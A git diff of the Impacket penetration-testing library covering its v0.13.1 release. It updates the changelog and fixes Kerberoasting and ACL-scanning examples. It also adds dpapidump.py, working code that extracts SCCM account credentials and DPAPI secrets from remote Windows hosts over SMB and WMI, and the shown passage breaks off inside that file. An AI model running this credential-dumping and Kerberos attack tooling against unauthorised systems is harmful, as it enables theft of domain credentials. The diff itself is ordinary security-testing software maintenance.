diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml index b5f460e73d..2c4250604c 100644 --- a/.github/workflows/build_and_test.yml +++ b/.github/workflows/build_and_test.yml @@ -48,11 +48,11 @@ jobs: strategy: fail-fast: false matrix: - python-version: ["3.9", "3.10","3.11","3.12"] + python-version: ["3.9", "3.10","3.11","3.12","3.13"] experimental: [false] os: [ubuntu-latest] include: - - python-version: "3.13-dev" + - python-version: "3.14-dev" experimental: true os: ubuntu-latest continue-on-error: ${{ matrix.experimental }} diff --git a/ChangeLog.md b/ChangeLog.md index cd3bc56f67..a13032a96c 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -5,6 +5,68 @@ Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master +## Impacket v0.13.1 (May 2026): + +1. Library improvements + + * SMB: Improved server and relay behavior with SMB server signing support, optional read-only shares, Kerberos/NTLM authentication controls, graceful SMB relay packet handling, SMBv1 relay fixes, SMB 3.1.1 negotiation fixes, and clearer errors for truncated SMB responses. (Fixes [#2099](https://github.com/fortra/impacket/issues/2099), [#2085](https://github.com/fortra/impacket/issues/2085), [#2111](https://github.com/fortra/impacket/issues/2111), [#2114](https://github.com/fortra/impacket/issues/2114), [#2129](https://github.com/fortra/impacket/issues/2129)) + * Kerberos: Fixed S4U2Self service ticket parsing, non-ASCII authentication encoding, LSA Kerberos key decryption, GSSAPI BER length parsing, ccache/kirbi conversion edge cases, and PAC preservation/signing helpers used by ticket tooling. ([#2087](https://github.com/fortra/impacket/issues/2087), [#2068](https://github.com/fortra/impacket/issues/2068), [#2088](https://github.com/fortra/impacket/issues/2088), [#2130](https://github.com/fortra/impacket/issues/2130), [#2159](https://github.com/fortra/impacket/issues/2159), [#2164](https://github.com/fortra/impacket/issues/2164)) + * MSSQL/TDS: Added TDS 8.0 support for Force Strict Encryption targets, EPA channel binding handling, TDS_SSVARIANT parsing, stricter TLS-backed packet handling, workstation/application name support, and more reliable SQL reply error tracking. ([#2074](https://github.com/fortra/impacket/issues/2074), [#2075](https://github.com/fortra/impacket/issues/2075), [#2082](https://github.com/fortra/impacket/issues/2082), [#2098](https://github.com/fortra/impacket/issues/2098), [#2122](https://github.com/fortra/impacket/issues/2122)) + * DCE/RPC and WMI: Added WMI PutClass/DeleteClass support, Remote Event Log subscription calls, Remote Desktop Services process parsing fixes, SCMR failure action marshaling fixes, and safer TCP transport handling on empty receives. ([#1803](https://github.com/fortra/impacket/issues/1803), [#2061](https://github.com/fortra/impacket/issues/2061), [#2046](https://github.com/fortra/impacket/issues/2046), [#2152](https://github.com/fortra/impacket/issues/2152), [#2155](https://github.com/fortra/impacket/issues/2155)) + * Directory and data parsing: Added LDAP CRUD helpers, improved LDAP attribute handling, fixed large-page ESE tag parsing for Windows Server 2025 NTDS.dit files, improved NTFS sparse and INDEX_ROOT reads, fixed DPAPI_BLOB parsing with oversized input, and corrected high-codepoint unicode structure sizing. ([#1764](https://github.com/fortra/impacket/issues/1764), [#1995](https://github.com/fortra/impacket/issues/1995), [#2097](https://github.com/fortra/impacket/issues/2097), [#2106](https://github.com/fortra/impacket/issues/2106), [#2112](https://github.com/fortra/impacket/issues/2112), [#2158](https://github.com/fortra/impacket/issues/2158)) + * Added a reusable ACL helper module and expanded regression coverage for ACLs, NTFS, TDS, Kerberos, ESE, SCMR, WMI, SMB, and packet parsing. ([#1240](https://github.com/fortra/impacket/issues/1240)) + +2. Examples improvements + + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added MSSQL and RDP relay servers, strict MSSQL relay support, TLS-backed TDS frame reassembly, NTLM sign/seal removal paths for CVE-2025-33073-related relay workflows, and `--remove-mic` handling. ([#2083](https://github.com/fortra/impacket/issues/2083), [#2101](https://github.com/fortra/impacket/issues/2101), [#2122](https://github.com/fortra/impacket/issues/2122), [#2133](https://github.com/fortra/impacket/issues/2133)) + * Improved WinRM relay error handling and NTLMv2 detection, fixed WinRM NTLM relay behavior, made SMB relay negotiation more conservative by avoiding unsupported NEGOEX advertisement, and added multibyte AD CS template name support. ([#2089](https://github.com/fortra/impacket/issues/2089), [#2111](https://github.com/fortra/impacket/issues/2111), [#2127](https://github.com/fortra/impacket/issues/2127), [#2163](https://github.com/fortra/impacket/issues/2163)) + * Added shadow credentials commands to the interactive LDAP shell and updated KeyCreds handling for the January 2026 Windows changes. ([#1402](https://github.com/fortra/impacket/issues/1402), [#2109](https://github.com/fortra/impacket/issues/2109)) + * [secretsdump.py](examples/secretsdump.py): + * Added SAM history parsing, improved offline machine account and Kerberos key recovery, fixed negative timestamps on Windows, added SAM password timestamp output, and filtered offline NTDS rows by local domain SID. ([#2059](https://github.com/fortra/impacket/issues/2059), [#2069](https://github.com/fortra/impacket/issues/2069), [#2135](https://github.com/fortra/impacket/issues/2135), [#2142](https://github.com/fortra/impacket/issues/2142), [#2178](https://github.com/fortra/impacket/issues/2178)) + * [regsecrets.py](examples/regsecrets.py): + * Added SAM history parsing. ([#2059](https://github.com/fortra/impacket/issues/2059)) + * [ticketer.py](examples/ticketer.py): + * Improved ccache handling and preserved KDC-issued lifetimes for diamond tickets. ([#2159](https://github.com/fortra/impacket/issues/2159), [#2181](https://github.com/fortra/impacket/issues/2181)) + * [ticketConverter.py](examples/ticketConverter.py): + * Improved kirbi/ccache conversion, preserved ticket flags, converted all TGS entries, and added base64 output support. ([#2104](https://github.com/fortra/impacket/issues/2104), [#2159](https://github.com/fortra/impacket/issues/2159)) + * [describeTicket.py](examples/describeTicket.py): + * Fixed credential indexing after skipped decrypts and improved Kerberoast debug output. ([#2117](https://github.com/fortra/impacket/issues/2117)) + * [raiseChild.py](examples/raiseChild.py): + * Preserved PAC buffers, added AES support for modern Windows environments, and improved ticket retry behavior. ([#2164](https://github.com/fortra/impacket/issues/2164)) + * [smbclient.py](examples/smbclient.py): + * Added ACL management support, recursive `rget`, and richer share listing output with type and comments. ([#1240](https://github.com/fortra/impacket/issues/1240), [#2110](https://github.com/fortra/impacket/issues/2110), [#2156](https://github.com/fortra/impacket/issues/2156)) + * [mssqlclient.py](examples/mssqlclient.py): + * Added workstation/application name options, linked-server RPC enable/disable commands, custom CBT support, and better MSSQL shell behavior. ([#2074](https://github.com/fortra/impacket/issues/2074), [#2098](https://github.com/fortra/impacket/issues/2098), [#2134](https://github.com/fortra/impacket/issues/2134)) + * [ntfs-read.py](examples/ntfs-read.py): + * Improved INDEX_ROOT file listing, sparse file support, error handling, and read correctness. ([#2106](https://github.com/fortra/impacket/issues/2106)) + * [tstool.py](examples/tstool.py): + * Added Remote Desktop Shadowing support. ([#2064](https://github.com/fortra/impacket/issues/2064)) + * [badsuccessor.py](examples/badsuccessor.py): + * Fixed ACE filtering and ObjectType GUID parsing that could cause false negatives when searching OUs. ([#2170](https://github.com/fortra/impacket/issues/2170)) + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Added an option to avoid forcing RC4-HMAC when requesting a TGT. ([#2141](https://github.com/fortra/impacket/issues/2141)) + * [owneredit.py](examples/owneredit.py): + * Improved distinguished name lookup behavior. ([#2162](https://github.com/fortra/impacket/issues/2162)) + * [exchanger.py](examples/exchanger.py): + * Added Basic Authentication support. ([#2077](https://github.com/fortra/impacket/issues/2077)) + * [reg.py](examples/reg.py): + * Added support for persistent registry key creation. ([#2113](https://github.com/fortra/impacket/issues/2113)) + +3. New examples + + * [dpapidump.py](examples/dpapidump.py) dumps DPAPI-related secrets. ([#1917](https://github.com/fortra/impacket/issues/1917)) + * [checkMSSQLStatus.py](examples/checkMSSQLStatus.py) checks MSSQL status and CBT behavior. ([#2098](https://github.com/fortra/impacket/issues/2098)) + +4. Project & packaging + + * Removed the run-time dependency on setuptools. ([#2102](https://github.com/fortra/impacket/issues/2102)) + * Removed remaining Python 2 compatibility code from WMI and ESE modules. ([#1804](https://github.com/fortra/impacket/issues/1804)) + +As always, thanks a lot to all these contributors that make this library better every day: + +@0xpaperman, @7own, @aconite33, @aelmosalamy, @alexisbalbachan, @anadrianmanrique, @AndreySolod, @azoxlpf, @bash-c, @blankshiro, @chand-ashok, @cjwatson, @Coontzy1, @Croumi, @CSpanias, @ctjf, @Dfte, @DidierA, @epotseluevskaya, @fulc2um, @gabrielg5, @gaffner, @herbenderbler, @i-am-not-an-ai, @john57, @laxaa, @laxa, @masterDeus, @Mayyhem, @n3rada, @NeffIsBack, @omry99, @plur1bu5, @Q2Flc2FySec, @Romern, @r3seh, @rtpt-romankarwacik, @sbuck1, @ThatTotallyRealMyth, @TheFlamingCrab, @tomik92, @Tw1sm. + ## Impacket v0.13.0 (Oct 2025): 1. Library improvements diff --git a/README.md b/README.md index 3852f52a1a..7d142b6ba4 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -Impacket_light +Impacket_light Impacket ======== @@ -52,7 +52,7 @@ Getting Impacket ### Latest version -* Impacket v0.13.0 +* Impacket v0.13.1 [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 56a37d4e77..ad22d4245b 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -81,6 +81,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__nthash = '' self.__no_preauth = cmdLineOptions.no_preauth self.__outputFileName = cmdLineOptions.outputfile + self.__noRC4 = cmdLineOptions.no_rc4 self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k @@ -132,7 +133,7 @@ def getTGT(self): # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. - if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): + if self.__password != '' and (self.__lmhash == '' and self.__nthash == '') and not self.__noRC4: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(self.__password), @@ -473,6 +474,7 @@ def request_multiple_TGSs(self, usernames): '.ccache. Auto selects -request') parser.add_argument('-outputfile', action='store', help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request') + parser.add_argument('-no-rc4', action='store_true', default=False, help='Does not force RC4-HMAC for the TGT') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') diff --git a/examples/badsuccessor.py b/examples/badsuccessor.py index 7feff0190b..d0ec0b8269 100644 --- a/examples/badsuccessor.py +++ b/examples/badsuccessor.py @@ -32,7 +32,7 @@ from impacket.examples import logger from impacket.examples.utils import parse_identity, parse_target, init_ldap_session from impacket.ldap import ldaptypes - +import uuid #needed for proper GUID conversion class BADSUCCESSOR: def __init__(self, username, password, domain, lmhash, nthash, cmdLineOptions): @@ -281,8 +281,12 @@ def search_ous(self, ldapConnection): dacl = sd['Dacl'] if dacl and hasattr(dacl, 'aces') and dacl.aces: for ace in dacl.aces: - # Only process ALLOW ACEs - if ace['AceType'] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: + #Fix 1, Ensure we parse and process standard ACE and Object Specific ACE + allowed_types = [ + ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE, + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + ] + if ace['AceType'] not in allowed_types: continue # Check if ACE has relevant rights @@ -290,11 +294,13 @@ def search_ous(self, ldapConnection): has_relevant_right = any(mask & right_value for right_value in relevant_rights.values()) if not has_relevant_right: continue + #Fix two: The guid conversion was wrong and one actually reads the bytes correctly and converts them to real GUIDs for processing later + ace_data = ace['Ace'] + object_type = ace_data['ObjectType'] if ace['AceType'] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE else None - # Check object type (must match relevant object types) - object_type = getattr(ace['Ace'], 'ObjectType', None) if object_type: - object_guid = str(object_type).lower() + object_guid = str(uuid.UUID(bytes_le=object_type)).lower() + logging.debug(object_guid) if object_guid not in relevant_object_types: continue diff --git a/examples/checkMSSQLStatus.py b/examples/checkMSSQLStatus.py new file mode 100644 index 0000000000..ff3a9fff04 --- /dev/null +++ b/examples/checkMSSQLStatus.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +# coding: utf-8 +""" +mssql_cbt_check.py +Check whether Channel Binding Token (CBT) is enforced on a MSSQL server. + +Usage: + mssql_cbt_check.py [domain/]username[:password]@target [-port PORT] [-debug] + +Writen by @Defte_ +""" +from __future__ import print_function + +import sys +import logging +import argparse +from getpass import getpass + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.tds import MSSQL, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF + + +class MSQLCBTCheck: + def __init__(self, options, username, password, domain, target): + self.username = username + self.password = password + self.domain = domain + self.target = target + self.port = int(options.port) + self.options = options + + def _new_conn(self): + conn = MSSQL(self.target, self.port, "") + conn.connect() + return conn + + def _login(self, conn, cbt): + opts = self.options + if opts.k: + return conn.kerberosLogin( + None, + self.username, + self.password, + self.domain, + opts.hashes, + opts.aesKey, + opts.dc_ip, + None, + None, + useCache=True, + cbt_fake_value=cbt, + ) + else: + return conn.login( + None, + self.username, + self.password, + self.domain, + opts.hashes, + useWindowsAuth=True, + cbt_fake_value=cbt, + ) + + def run(self): + print(f"[*] Checking Channel Binding status on: {self.target}:{self.port}") + + try: + conn = self._new_conn() + prelogin_resp = conn.preLogin() + enc = prelogin_resp["Encryption"] + if not enc == TDS_ENCRYPT_REQ and not enc == TDS_ENCRYPT_OFF: + print("[!] Encryption not activated nor required. Channel Binding off.") + conn.disconnect() + return + except Exception as e: + logging.debug(f"preLogin failed: {e}") + print("[-] Prelogin failed, cannot check MSSQL status.") + return + + print("\n[*] First try: TDS computes the real Channel Binding Token (cbt=None)") + try: + conn = self._new_conn() + first_ok = self._login(conn, cbt=None) + conn.disconnect() + except Exception as e: + logging.debug(f"First try exception: {e}") + first_ok = False + print(f" Result: {'Success' if first_ok else 'Failure'}") + + print("\n[*] Second try: invalid Channel Binding Token (cbt='')") + try: + conn = self._new_conn() + second_ok = self._login(conn, cbt=b'') + conn.disconnect() + except Exception as e: + logging.debug(f"Second try exception: {e}") + second_ok = False + print(f" Result: {'Success' if second_ok else 'Failure'}") + + if first_ok and second_ok: + print("\n[+] The two authentications succeded. Channel Binding not required (CBT not enforced).") + elif first_ok and not second_ok: + print("\n[!] First authentication succeded, second failed. Channel Binding required (CBT enforced).") + elif not first_ok and not second_ok: + print("\n[!] The two authentications failed, invalid credentials.") + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True) + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-port', default=1433, help='Port MSSQL (default: 1433)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output', dest='timestamp') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', metavar='LMHASH:NTHASH', help='NTLM hashes') + group.add_argument('-no-pass', action='store_true', help="Don't ask for password (useful with -k)") + group.add_argument('-k', action='store_true', help='Use Kerberos authentication (ccache via KRB5CCNAME)') + group.add_argument('-aesKey', metavar='hex key', help='AES key for Kerberos (128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', metavar='ip address', help='IP of the domain controller') + group.add_argument('-target-ip', metavar='ip address', help='IP of the target (overrides target name resolution)') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + logger.init(options.timestamp, options.debug) + + domain, username, password, target = parse_target(options.target) + + if domain is None: + domain = '' + + if options.target_ip: + target = options.target_ip + + if options.aesKey: + options.k = True + + if password == '' and username != '' and not options.hashes and not options.no_pass and not options.aesKey: + password = getpass("Password: ") + + try: + MSQLCBTCheck(options, username, password, domain, target).run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 4379a2e881..8a986c6cfc 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -38,7 +38,7 @@ from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.constants import ChecksumTypes -from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, generate_kerberos_keys from impacket.ldap.ldaptypes import LDAP_SID PSID = PRPC_SID @@ -220,10 +220,9 @@ class Attributes_Flags(Enum): def parse_ccache(args): ccache = CCache.loadFile(args.ticket) - cred_number = 0 logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - for creds in ccache.credentials: + for cred_number, creds in enumerate(ccache.credentials): logging.info('Parsing credential[%d]:' % cred_number) rawTicket = creds.toTGS() @@ -254,6 +253,8 @@ def parse_ccache(args): if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: flags.append(constants.TicketFlags(k.value).name) logging.info("%-30s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + etype = decodedTicket['ticket']['enc-part']['etype'] + etype_enc = constants.EncryptionTypes(etype).name keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name logging.info("%-30s: %s" % ("KeyType", keyType)) logging.info("%-30s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) @@ -263,11 +264,11 @@ def parse_ccache(args): kerberoast_hash = None # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) # if this isn't a TGT, try to display a Kerberoastable hash - if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": + if etype_enc != "rc4_hmac" and etype_enc != "aes256_cts_hmac_sha1_96": # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have # the user account name that backs the requested SPN for the ticket, no no dice :( - logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) - elif keyType == "rc4_hmac": + logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % etype_enc) + elif etype_enc == "rc4_hmac": kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain) elif args.user: if args.user.endswith("$"): @@ -282,7 +283,6 @@ def parse_ccache(args): logging.info("%-30s:" % "Decoding unencrypted data in credential[%d]['ticket']" % cred_number) spn = "/".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']])) - etype = decodedTicket['ticket']['enc-part']['etype'] logging.info(" %-28s: %s" % ("Service Name", spn)) logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) @@ -290,12 +290,12 @@ def parse_ccache(args): logging.debug("No kvno in ticket, skipping") logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) logging.debug("Handling Kerberos keys") - ekeys = generate_kerberos_keys(args) + ekeys = generate_kerberos_keys(args.rc4, args.aes, args.password, args.hex_pass, args.salt, args.user, args.domain) # copypasta from krbrelayx.py # Select the correct encryption key try: - logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + logging.debug('Ticket is encrypted with %s (etype %d)' % (etype_enc, etype)) key = ekeys[etype] logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) # This raises a KeyError (pun intended) if our key is not found @@ -309,7 +309,7 @@ def parse_ccache(args): logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', constants.EncryptionTypes(etype).name, etype) - return None + continue # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? # Recover plaintext info from ticket @@ -322,7 +322,7 @@ def parse_ccache(args): if args.salt: logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') - return + continue logging.debug('Ticket successfully decrypted') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] @@ -351,8 +351,6 @@ def parse_ccache(args): else: logging.info(" %-26s: %s" % (attribute, value)) - cred_number += 1 - def parse_pac(pacType, args): def PACparseFILETIME(data): @@ -630,56 +628,6 @@ def PACparseGroupIds(data): return parsed_tuPAC -def generate_kerberos_keys(args): - # copypasta from krbrelayx.py - # Store Kerberos keys - keys = {} - if args.rc4: - keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.rc4) - if args.aes: - if len(args.aes) == 64: - keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aes) - else: - keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aes) - ekeys = {} - for kt, key in keys.items(): - ekeys[kt] = Key(kt, key) - - allciphers = [ - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) - ] - - # Calculate Kerberos keys from specified password/salt - if args.password or args.hex_pass: - if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos - if args.user.endswith('$'): - args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) - else: - args.salt = "%s%s" % (args.domain.upper(), args.user) - for cipher in allciphers: - if cipher == 23 and args.hex_pass: - # RC4 calculation is done manually for raw passwords - md4 = MD4.new() - md4.update(unhexlify(args.hex_pass)) - ekeys[cipher] = Key(cipher, md4.digest()) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) - elif args.salt: - # Do conversion magic for raw passwords - if args.hex_pass: - rawsecret = unhexlify(args.hex_pass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') - else: - # If not raw, it was specified from the command line, assume it's not UTF-16 - rawsecret = args.password - ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) - logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) - else: - logging.debug('Cannot calculate type %s (%d) Kerberos key: salt is None: Missing -s/--salt or (-u/--user and -d/--domain)' % (constants.EncryptionTypes(cipher).name, cipher)) - else: - logging.debug('No password (-p/--password or -hp/--hex_pass supplied, skipping Kerberos keys calculation') - return ekeys - def kerberoast_from_ccache(decodedTGS, spn, username, domain): try: diff --git a/examples/dpapidump.py b/examples/dpapidump.py new file mode 100755 index 0000000000..4da208c620 --- /dev/null +++ b/examples/dpapidump.py @@ -0,0 +1,509 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Automates extraction of DPAPI credentials for the SYSTEM user on a remote host +# +# Authors: +# Alberto Solino (@agsolino) +# Clement Lavoillotte (@clavoillotte) +# Julien Egloff (@laxaa) +# + +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import os +import re +import sys +import ntpath +from binascii import unhexlify, hexlify +from io import BytesIO + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target + +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + +from impacket.smbconnection import SMBConnection + +from impacket.dpapi import MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB +from impacket.uuid import bin_to_string + +from impacket.examples.regsecrets import RemoteOperations, LSASecrets + +from impacket.krb5.keytab import Keytab + +class DumpCreds: + def __init__(self, remoteName, username='', password='', domain='', options=None): + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__smbConnection = None + self.__bootkey = options.bootkey + self.__remoteOps = None + self.__LSASecrets = None + self.__userkey = options.userkey + self.__doKerberos = options.k + self.__dumpLSA = (options.userkey is None) + self.__kdcHost = options.dc_ip + self.__options = options + self.key = None + self.sccm_secrets = [] + self.raw_credentials = {} + self.raw_masterkeys = {} + self.masterkeys = {} + self.required_mks = [] + self.get_sccm = options.all or options.sccm + self.get_creds = options.all or options.creds + self.__throttle = options.throttle + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def getDPAPI_SYSTEM(self, secretType, secret): + if secret.startswith("dpapi_machinekey:"): + machineKey, userKey = secret.split('\n') + userKey = userKey.split(':')[1] + self.key = unhexlify(userKey[2:]) + + def getFileContent(self, share, path, filename): + content = None + try: + fh = BytesIO() + filepath = ntpath.join(path,filename) + self.__smbConnection.getFile(share, filepath, fh.write) + content = fh.getvalue() + fh.close() + except: + return None + return content + + def decryptBlob(self, blob): + mkid = bin_to_string(blob['GuidMasterKey']) + key = self.masterkeys.get(mkid, None) + if key is None: + logging.info(f"Could not decrypt masterkey {mkid}") + return None + decrypted = blob.decrypt(key) + return decrypted + + def decideBlobMasterkey(self, blob): + mkid = bin_to_string(blob['GuidMasterKey']) + if mkid not in self.required_mks: + self.required_mks.append(mkid) + + def addPolicySecret(self, iEnum): + regex = r"<\/PolicySecret>" + + while True: + try: + pEnum = iEnum.Next(0xffffffff, 1)[0] + record = pEnum.getProperties() + if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record: + unparsed_network_access_username = record.get('NetworkAccessUsername', {}).get('value', None) + unparsed_network_access_password = record.get('NetworkAccessPassword', {}).get('value', None) + username_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_network_access_username).group(1))[4:]) + password_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_network_access_password).group(1))[4:]) + item = {'NAA_Credentials': {username_blob: password_blob}} + self.sccm_secrets.append(item) + self.decideBlobMasterkey(username_blob) + self.decideBlobMasterkey(password_blob) + elif 'TS_Sequence' in record: + unparsed_task_sequence = record.get('TS_Sequence', {}).get('value', None) + task_sequence_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_task_sequence).group(1))[4:]) + item = {'TS_Sequence':task_sequence_blob} + self.decideBlobMasterkey(task_sequence_blob) + self.sccm_secrets.append(item) + elif 'Name' in record and 'Value' in record: + collection_name = record.get('Name', {}).get('value', None) + unparsed_collection_value = record.get('Value', {}).get('value', None) + collection_value_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_collection_value).group(1))[4:]) + item = {'Collection Variable':{collection_name: collection_value_blob}} + self.decideBlobMasterkey(collection_value_blob) + self.sccm_secrets.append(item) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('S_FALSE') < 0: + raise + else: + break + + def dump(self): + if self.get_sccm: + # get SCCM credentials using WMI + namespaces = [ 'root\\ccm\\Policy\\Machine\\RequestedConfig', + 'root\\ccm\\Policy\\Machine\\ActualConfig' ] + queries = [ + 'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount', + 'SELECT TS_Sequence FROM CCM_TaskSequence', + 'SELECT Name, Value FROM CCM_CollectionVariable' + ] + + try: + logging.info("Querying SCCM configuration via WMI") + for namespace in namespaces: + for query in queries: + logging.info(f'WMI namespace {namespace} query \'{query}\'') + dcom = DCOMConnection(self.__remoteName, self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, oxidResolver=True, + doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, + remoteHost=self.__remoteHost) + + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + try: + iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) + except DCERPCSessionError as e: + # error code for WBEM_E_INVALID_NAMESPACE + # https://learn.microsoft.com/fr-fr/troubleshoot/windows-client/windows-security/mbam-client-fails-event-id-4-0x8004100e + iWbemLevel1Login.RemRelease() + dcom.disconnect() + if e.error_code != 0x8004100e: + raise + logging.info(f'Invalid WMI namespace {namespace}') + break + if self.__options.rpc_auth_level == 'privacy': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + elif self.__options.rpc_auth_level == 'integrity': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + + iWbemLevel1Login.RemRelease() + + iEnum = iWbemServices.ExecQuery(query) + self.addPolicySecret(iEnum) + iEnum.RemRelease() + + iWbemServices.RemRelease() + dcom.disconnect() + except Exception as e: + logging.error(str(e)) + if 